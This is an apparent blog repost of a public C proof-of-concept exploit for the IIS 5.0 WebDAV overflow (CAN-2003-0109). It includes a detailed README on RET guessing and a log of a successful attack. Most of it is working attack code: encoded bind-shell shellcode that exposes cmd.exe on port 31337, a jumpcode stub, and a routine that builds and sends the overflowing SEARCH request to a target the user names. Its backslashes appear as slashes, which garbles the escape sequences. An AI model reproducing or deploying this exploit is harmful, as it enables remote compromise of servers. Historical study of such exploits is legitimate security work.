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IIS 5.0 WebDAV - Proof of concept - shellcode included

发表于2004/9/30 19:38:00  1883人阅读

/*************************************/
/* IIS 5.0 WebDAV -Proof of concept- */
/* [ Bug: CAN-2003-0109 ] */
/* By Roman Medina-Heigl Hernandez */
/* aka RoMaNSoFt <roman@rs-labs.com> */
/* Madrid, 23.Mar.2003 */
/* ================================= */
/* Public release. Version 1. */
/* --------------------------------- */
/*************************************/
/* ====================================================================
* --[ READ ME ]
*
* This exploit is mainly a proof of concept of the recently discovered ntdll.dll bug (which may be
* exploited in many other programs, not necessarily IIS). Practical exploitation is not as easy as
* expected due to difficult RET guessing mixed with possible IIS crashes (which makes RET brute
* forcing a tedious work). The shellcode included here will bind a cmd.exe shell to a given port
* at the victim machine so it could be problematic if that machine is protected behind a firewall.
* For all these reasons, the scope of this code is limited and mainly intended for educational
* purposes. I am not responsible of possible damages created by the use of this exploit code.
*
* The program sends a HTTP request like this:
*
* SEARCH /[nop] [ret][ret][ret] ... [ret] [nop][nop][nop][nop][nop] ... [nop] [jmpcode] HTTP/1.1
* {HTTP headers here}
* {HTTP body with webDAV content}
* 0x01 [shellcode]
*
* IIS converts the first ascii string ([nop]...[jmpcode]) to Unicode using UTF-16 encoding (for
* instance, 0x41 becomes 0x41 0x00, i.e. an extra 0x00 byte is added) and it is the resultant
* Unicode string the one producing the overflow. So at first glance, we cannot include code here
* (more on this later) because it would get corrupted by 0x00 (and other) inserted bytes. Not at
* least using the common method. Another problem that we will have to live with is our RET value
* being padded with null bytes, so if we use 0xabcd in our string, the real RET value (i.e. the
* one EIP will be overwritten with) would be 0x00ab00cd. This is an important restriction.
*
* We have two alternatives:
*
* 1) The easy one: find any occurrences of our ascii string (i.e. before it gets converted to
* the Unicode form) in process memory. Problem: normally we should find it by debugging the
* vulnerable application and then hardcode the found address (which will be the RET address)
* in our exploit code. This RET address is variable, even for the same version of OS and app
* (I mean, different instances of the same application in the same machine could make the
* guessed RET address invalid at different moments). Now add the restriction of RET value
* padded with null-bytes. Anyway, the main advantage of this method is that we will not have
* to deal with 0x00-padded shellcode.
*
* 2) The not so-easy one: you could insert an encoded shellcode in such a way that when the app
* expands the ascii string (with the encoded shellcode) to Unicode, a valid shellcode is
* automagically placed into memory. Please, refer to Chris Anley's "venetian exploit" paper
* to read more about this. Dave Aitel also has a good paper about this technique and indeed
* he released code written in Python to encode shellcode (I'm wondering if he will release a
* working tool for that purpose, since the actual code was released as part of a commercial
* product, so it cannot be run without buying the whole product, despite the module itself
* being free!). Problem: it is not so easy as the first method;-) Advantage: when the over-
* flow happens, some registers may point to our Unicoded string (where our Unicoded-shellcode
* lives in), so we don't need to guess the address where shellcode will be placed and the
* chance of a successful exploitation is greatly improved. For instance, in this case, when
* IIS is overflowed, ECX register points to the Unicode string. The idea is then fill in
* RET value with the fixed address of code like "call %ecx". This code may be contained in
* any previosly-loaded library, for example).
*
* Well, guess it... yes... I chose the easy method :-) Perhaps I will rewrite the exploit
* using method 2, but I cannot promise that.
*
* Let's see another problem of the method 1 (which I have used). Not all Unicode conversions
* result in a 0x00 byte being added. This is true for ascii characters lower or equal to 0x7f
* (except for some few special characters, I'm not sure). But our shellcode will have bytes
* greater than 0x7f value. So we don't know the exact length of the Unicoded-string containing
* our shellcode (some ascii chars will expand to more than 2 bytes, I think). As a result,
* sometimes the exploit may not work, because no exact length is matched. For instance, if you
* carry out experiments on this issue, you could see that IIS crashes (overflow occurs) when
* entering a query like SEARCH /AAAA...AAA HTTP/1.1, with 65535 A's. Same happens with 65536.
* But with different values seems NOT to work. So matching the exact length is important here!
*
* What I have done, it is to include a little "jumpcode" instead of the shellcode itself. The
* jumpcode is placed into the "critical" place and has a fixed length, so our string has always
* a fixed length, too. The "variable" part (the shellcode) is placed at the end of the HTTP
* request (so you can insert your own shellcode and remove the one I'm using here, with no apparent
* problem). To be precise, the end of the request will be: 0x01 [shellcode]. The 0x01 byte marks
* the beginning of the shellcode and it is used by the jumpcode to find the address where shell-
* code begins and jump into it. It is not possible to hardcode a relative jump, because HTTP
* headers have a variable length (think about the "Host:" header and you will understand what
* I'm saying). Well, really, the exploit could have calculated the relative jump itself (other
* problems arise like null-bytes possibly contained in the offset field) but I have prefered to
* use the 0x01 trick. It's my exploit, it's my choice :-)
*
* After launching the exploit, several things may happen:
* - the exploit is successful. You can connect to the bound port of victim machine and get a
* shell. Great. Remember that when you issue an "exit" command in the shell prompt, the pro-
* cess will be terminated. This implies that IIS could die.
* - exploit returns a "server not vulnerable" response. Really, the server may not be vulnerable
* or perhaps the SEARCH method used by the exploit is not permitted (the bug can still be
* exploited via GET, probably) or webDAV is disabled at all.
* - exploit did not get success (which is not strange, since it is not easy to guess RET value)
* but the server is vulnerable. IIS will probably not survive: a "net start w3svc" could be
* needed in the victim machine, in order to restart the WWW service.
*
* The following log shows a correct exploitation:
*
* roman@goliat:~/iis5webdav> gcc -o rs_iis rs_iis.c
* roman@goliat:~/iis5webdav> ./rs_iis roman
* [*] Resolving hostname ...
* [*] Attacking port 80 at roman (EIP = 0x00480004)...
* [*] Now open another console/shell and try to connect (telnet) to victim port 31337...
*
* roman@goliat:~/iis5webdav> telnet roman 31337
* Trying 192.168.0.247...
* Connected to roman.
* Escape character is '^]'.
* Microsoft Windows 2000 [Versi 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:/WINNT/system32>
*
*
* I am not going to show logs for the faulty cases. I'm pretty sure you will see them very
* soon :-) But yes, the exploit works, perhaps a little fine-tunning may be required, though.
* So please, do NOT contact me telling that the exploit doesn't work or things like that. It
* worked for me and it will work for you, if you're not a script-kiddie. Try to attach to the
* IIS process (inetinfo.exe) with the help of a debugger (OllyDbg is my favourite) on the
* victim machine and then launch the exploit against it. Debugger will break when the first
* exception is produced. Now place a breakpoint in 0x00ab00cd (being 0xabcd the not-unicoded
* RET value) and resume execution until you reach that point. Finally, it's time to search
* the memory looking for our shellcode. It is nearly impossible (very low chance) that our
* shellcode is found at any 0x00**00**-form address (needed to bypass the RET restriction
* imposed by Unicode conversion) but no problem: you have a lot of NOPs before the shellcode
* where you could point to. If EIP is overwritten with the address of such a NOP, program flow
* will finish reaching our shellcode. Note also that among the two bytes of RET that we have some
* kind of control, the more important is the first one, i.e. the more significant. In other
* words, interesting RET values to try are: 0x0104, 0x0204, 0x0304, 0x0404, 0x0504, ...,
* and so on, till 0xff04. As you may have noticed, the last byte (0x04) is never changed because
* its weight is minimal (256 between aprox. 65000 NOP's is not appreciable).
*
*
* My best wishes,
* --Roman
*
* ===================================== --[ EOT ]-- ====================
*/


#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>

// Change to fit your need
#define RET 0x4804 // EIP = 0x00480004
#define LOADLIBRARYA 0x0100107c
#define GETPROCADDRESS 0x01001034

// Don't change this
#define PORT_OFFSET 1052
#define LOADL_OFFSET 798
#define GETPROC_OFFSET 815
#define NOP 0x90
#define MAXBUF 100000


/*
* LoadLibraryA IT Address := 0100107C
* GetProcAddress IT Address := 01001034
*/

unsigned char shellcode[] = // Deepzone shellcode
"/x68/x5e/x56/xc3/x90/x54/x59/xff/xd1/x58/x33/xc9/xb1/x1c"
"/x90/x90/x90/x90/x03/xf1/x56/x5f/x33/xc9/x66/xb9/x95/x04"
"/x90/x90/x90/xac/x34/x99/xaa/xe2/xfa/x71/x99/x99/x99/x99"
"/xc4/x18/x74/x40/xb8/xd9/x99/x14/x2c/x6b/xbd/xd9/x99/x14"
"/x24/x63/xbd/xd9/x99/xf3/x9e/x09/x09/x09/x09/xc0/x71/x4b"
"/x9b/x99/x99/x14/x2c/xb3/xbc/xd9/x99/x14/x24/xaa/xbc/xd9"
"/x99/xf3/x93/x09/x09/x09/x09/xc0/x71/x23/x9b/x99/x99/xf3"
"/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x7c/xbc/xd9/x99"
"/xcf/x14/x2c/x70/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9/x99"
"/xf3/x99/x14/x2c/x40/xbc/xd9/x99/xcf/x14/x2c/x74/xbc/xd9"
"/x99/xcf/x14/x2c/x68/xbc/xd9/x99/xcf/x66/x0c/xaa/xbc/xd9"
"/x99/x5e/x1c/x6c/xbc/xd9/x99/xdd/x99/x99/x99/x14/x2c/x6c"
"/xbc/xd9/x99/xcf/x66/x0c/xae/xbc/xd9/x99/x14/x2c/xb4/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/xa8/xbf"
"/xd9/x99/x34/xc9/x66/x0c/xca/xbc/xd9/x99/x14/x2c/x68/xbc"
"/xd9/x99/x14/x24/xb4/xbf/xd9/x99/x3c/x14/x2c/x7c/xbc/xd9"
"/x99/x34/x14/x24/xa8/xbf/xd9/x99/x32/x14/x24/xac/xbf/xd9"
"/x99/x32/x5e/x1c/xbc/xbf/xd9/x99/x99/x99/x99/x99/x5e/x1c"
"/xb8/xbf/xd9/x99/x98/x98/x99/x99/x14/x2c/xa0/xbf/xd9/x99"
"/xcf/x14/x2c/x6c/xbc/xd9/x99/xcf/xf3/x99/xf3/x99/xf3/x89"
"/xf3/x98/xf3/x99/xf3/x99/x14/x2c/xd0/xbf/xd9/x99/xcf/xf3"
"/x99/x66/x0c/xa2/xbc/xd9/x99/xf1/x99/xb9/x99/x99/x09/xf1"
"/x99/x9b/x99/x99/x66/x0c/xda/xbc/xd9/x99/x10/x1c/xc8/xbf"
"/xd9/x99/xaa/x59/xc9/xd9/xc9/xd9/xc9/x66/x0c/x63/xbd/xd9"
"/x99/xc9/xc2/xf3/x89/x14/x2c/x50/xbc/xd9/x99/xcf/xca/x66"
"/x0c/x67/xbd/xd9/x99/xf3/x9a/xca/x66/x0c/x9b/xbc/xd9/x99"
"/x14/x2c/xcc/xbf/xd9/x99/xcf/x14/x2c/x50/xbc/xd9/x99/xcf"
"/xca/x66/x0c/x9f/xbc/xd9/x99/x14/x24/xc0/xbf/xd9/x99/x32"
"/xaa/x59/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14"
"/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3"
"/xa9/x66/x0c/xd6/xbc/xd9/x99/x72/xd4/x09/x09/x09/xaa/x59"
"/xc9/x14/x24/xfc/xbf/xd9/x99/xce/xc9/xc9/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x1a/x24/xfc/xbf/xd9/x99/x9b/x96/x1b"
"/x8e/x98/x99/x99/x18/x24/xfc/xbf/xd9/x99/x98/xb9/x99/x99"
"/xeb/x97/x09/x09/x09/x09/x5e/x1c/xfc/xbf/xd9/x99/x99/xb9"
"/x99/x99/xf3/x99/x12/x1c/xfc/xbf/xd9/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xc9/x12/x1c/xc8/xbf/xd9/x99/xc9/x14/x2c/x70"
"/xbc/xd9/x99/x34/xc9/x66/x0c/xde/xbc/xd9/x99/xf3/xc9/x66"
"/x0c/xd6/xbc/xd9/x99/x12/x1c/xfc/xbf/xd9/x99/xf3/x99/xc9"
"/x14/x2c/xc8/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99"
"/x34/xc9/x66/x0c/x93/xbc/xd9/x99/xf3/x99/x14/x24/xfc/xbf"
"/xd9/x99/xce/xf3/x99/xf3/x99/xf3/x99/x14/x2c/x70/xbc/xd9"
"/x99/x34/xc9/x66/x0c/xa6/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6"
"/xbc/xd9/x99/xaa/x50/xa0/x14/xfc/xbf/xd9/x99/x96/x1e/xfe"
"/x66/x66/x66/xf3/x99/xf1/x99/xb9/x99/x99/x09/x14/x2c/xc8"
"/xbf/xd9/x99/x34/xc9/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66"
"/x0c/x97/xbc/xd9/x99/x10/x1c/xf8/xbf/xd9/x99/xf3/x99/x14"
"/x24/xfc/xbf/xd9/x99/xce/xc9/x14/x2c/xc8/xbf/xd9/x99/x34"
"/xc9/x14/x2c/x74/xbc/xd9/x99/x34/xc9/x66/x0c/xd2/xbc/xd9"
"/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/xf3/x99/x12/x1c/xf8"
"/xbf/xd9/x99/x14/x24/xfc/xbf/xd9/x99/xce/xc9/x12/x1c/xc8"
"/xbf/xd9/x99/xc9/x14/x2c/x70/xbc/xd9/x99/x34/xc9/x66/x0c"
"/xde/xbc/xd9/x99/xf3/xc9/x66/x0c/xd6/xbc/xd9/x99/x70/x20"
"/x67/x66/x66/x14/x2c/xc0/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/x14/x2c/xc4/xbf/xd9/x99/x34/xc9/x66/x0c/x8b"
"/xbc/xd9/x99/xf3/x99/x66/x0c/xce/xbc/xd9/x99/xc8/xcf/xf1"
"/xe5/x89/x99/x98/x09/xc3/x66/x8b/xc9/xc2/xc0/xce/xc7/xc8"
"/xcf/xca/xf1/xad/x89/x99/x98/x09/xc3/x66/x8b/xc9/x35/x1d"
"/x59/xec/x62/xc1/x32/xc0/x7b/x70/x5a/xce/xca/xd6/xda/xd2"
"/xaa/xab/x99/xea/xf6/xfa/xf2/xfc/xed/x99/xfb/xf0/xf7/xfd"
"/x99/xf5/xf0/xea/xed/xfc/xf7/x99/xf8/xfa/xfa/xfc/xe9/xed"
"/x99/xea/xfc/xf7/xfd/x99/xeb/xfc/xfa/xef/x99/xfa/xf5/xf6"
"/xea/xfc/xea/xf6/xfa/xf2/xfc/xed/x99/xd2/xdc/xcb/xd7/xdc"
"/xd5/xaa/xab/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xf0/xe9/xfc"
"/x99/xde/xfc/xed/xca/xed/xf8/xeb/xed/xec/xe9/xd0/xf7/xff"
"/xf6/xd8/x99/xda/xeb/xfc/xf8/xed/xfc/xc9/xeb/xf6/xfa/xfc"
"/xea/xea/xd8/x99/xc9/xfc/xfc/xf2/xd7/xf8/xf4/xfc/xfd/xc9"
"/xf0/xe9/xfc/x99/xde/xf5/xf6/xfb/xf8/xf5/xd8/xf5/xf5/xf6"
"/xfa/x99/xcb/xfc/xf8/xfd/xdf/xf0/xf5/xfc/x99/xce/xeb/xf0"
"/xed/xfc/xdf/xf0/xf5/xfc/x99/xca/xf5/xfc/xfc/xe9/x99/xda"
"/xf5/xf6/xea/xfc/xd1/xf8/xf7/xfd/xf5/xfc/x99/xdc/xe1/xf0"
"/xed/xc9/xeb/xf6/xfa/xfc/xea/xea/x99/xda/xf6/xfd/xfc/xfd"
"/xb9/xfb/xe0/xb9/xe5/xc3/xf8/xf7/xb9/xa5/xf0/xe3/xf8/xf7"
"/xd9/xfd/xfc/xfc/xe9/xe3/xf6/xf7/xfc/xb7/xf6/xeb/xfe/xa7"
"/x9b/x99/x86/xd1/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x95/x99/x99/x99/x99/x99/x99/x99/x98/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/xda/xd4/xdd/xb7/xdc/xc1/xdc/x99/x99/x99/x99/x99"
"/x89/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99/x99"
"/x99/x99/x99/x99/x99/x99/x90/x90/x90/x90/x90/x90/x90/x90";

unsigned char jumpcode[] = "/x8b/xf9/x32/xc0/xfe/xc0/xf2/xae/xff/xe7";
/* mov edi, ecx
* xor al, al
* inc al
* repnz scasb
* jmp edi
*/

char body[] = "<?xml version=/"1.0/"?>/r/n<g:searchrequest xmlns:g=/"DAV:/">/r/n" /
"<g:sql>/r/nSelect /"DAV:displayname/" from scope()/r/n</g:sql>/r/n</g:searchrequest>/r/n";


/* Our code starts here */
int main (int argc, char **argv)
{

unsigned long ret;
unsigned short port;
int tport, bport, s, i, j, r, rt=0;
struct hostent *h;
struct sockaddr_in dst;
char buffer[MAXBUF];

if (argc < 2 || argc > 5)
{
printf("IIS 5.0 WebDAV Exploit by RoMaNSoFt <roman@rs-labs.com>. 23/03/2003/nUsage: %s <target host> [target port] [bind port] [ret]/nE.g 1: %s victim.com/nE.g 2: %s victim.com 80 31337 %#.4x/n", argv[0], argv[0], argv[0], RET);
exit(-1);
}

// Default target port = 80
if (argc > 2)
tport = atoi(argv[2]);
else
tport = 80;

// Default bind port = 31337
if (argc > 3)
bport = atoi(argv[3]);
else
bport = 31337;

// Default ret value = RET
if (argc > 4)
ret = strtoul(argv[4], NULL, 16);
else
ret = RET;

if ( ret > 0xffff || (ret & 0xff) == 0 || (ret & 0xff00) == 0 )
{
fprintf(stderr, "RET value must be in 0x0000-0xffff range and it may not contain null-bytes/nAborted!/n");
exit(-2);
}

// Shellcode patching
port = htons(bport);
port ^= 0x9999;

if ( ((port & 0xff) == 0) || ((port & 0xff00) == 0) )
{
fprintf(stderr, "Binding-port contains null-byte. Use another port./nAborted!/n");
exit(-3);
}

*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;
*(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;
// If the last two items contain any null-bytes, exploit will fail.
// WARNING: this check is not performed here. Be careful and check it for yourself!

// Resolve hostname
printf("[*] Resolving hostname .../n");
if ((h = gethostbyname(argv[1])) == NULL)
{
fprintf(stderr, "%s: unknown hostname/n", argv[1]);
exit(-4);
}

bcopy(h->h_addr, &dst.sin_addr, h->h_length);
dst.sin_family = AF_INET;
dst.sin_port = htons(tport);

// Socket creation
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("Failed to create socket");
exit(-5);
}

// Connection
if (connect(s, (struct sockaddr *)&dst, sizeof(dst)) == -1)
{
perror("Failed to connect");
exit(-6);
}

// Build malicious string...
printf("[*] Attacking port %i at %s (EIP = %#.4x%.4x).../n", tport, argv[1], ((ret >> 8) & 0xff), ret & 0xff);

bzero(buffer, MAXBUF);
strcpy(buffer, "SEARCH /");

i = strlen(buffer);
buffer[i] = NOP; // Align for RET overwrite

// Normally, EIP will be overwritten with buffer[8+2087] but I prefer to fill some more bytes;-)
for (j=i+1; j < i+2150; j+=2)
*(unsigned short *)&buffer[j] = (unsigned short)ret;

// The rest is padded with NOP's. RET address should point to this zone!
for (; j < i+65535-strlen(jumpcode); j++)
buffer[j] = NOP;

// Then we skip the body of the HTTP request
memcpy(&buffer[j], jumpcode, strlen(jumpcode));

strcpy(buffer+strlen(buffer), " HTTP/1.1/r/n");
sprintf(buffer+strlen(buffer), "Host: %s/r/nContent-Type: text/xml/r/nContent-Length: %d/r/n/r/n", argv[1], strlen(body) + strlen(shellcode));
strcpy(buffer+strlen(buffer), body);

// This byte is used to mark the beginning of the shellcode
memset(buffer+strlen(buffer), 0x01, 1);

// And finally, we land into our shellcode
memset(buffer+strlen(buffer), NOP, 3);
strcpy(buffer+strlen(buffer), shellcode);

// Send request
if (send(s, buffer, strlen(buffer), 0) != strlen(buffer))
{
perror("Failed to send");
exit(-7);
}

printf("[*] Now open another console/shell and try to connect (telnet) to victim port %i.../n", bport);

// Receive response
while ( (r=recv(s, &buffer[rt], MAXBUF-1, 0)) > 0)
rt += r;
// This code is not bullet-proof. An evil WWW server could return a response bigger than MAXBUF
// and an overflow would occur here. Yes, I'm lazy... :-)

buffer[rt] = '/0';

if (rt > 0)
printf("[*] Victim server issued the following %d bytes of response:/n--/n%s/n--/n[*] Server NOT vulnerable!/n", rt, buffer);
else
printf("[*] Server is vulnerable but the exploit failed! Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-//n", bport);

close(s);

}
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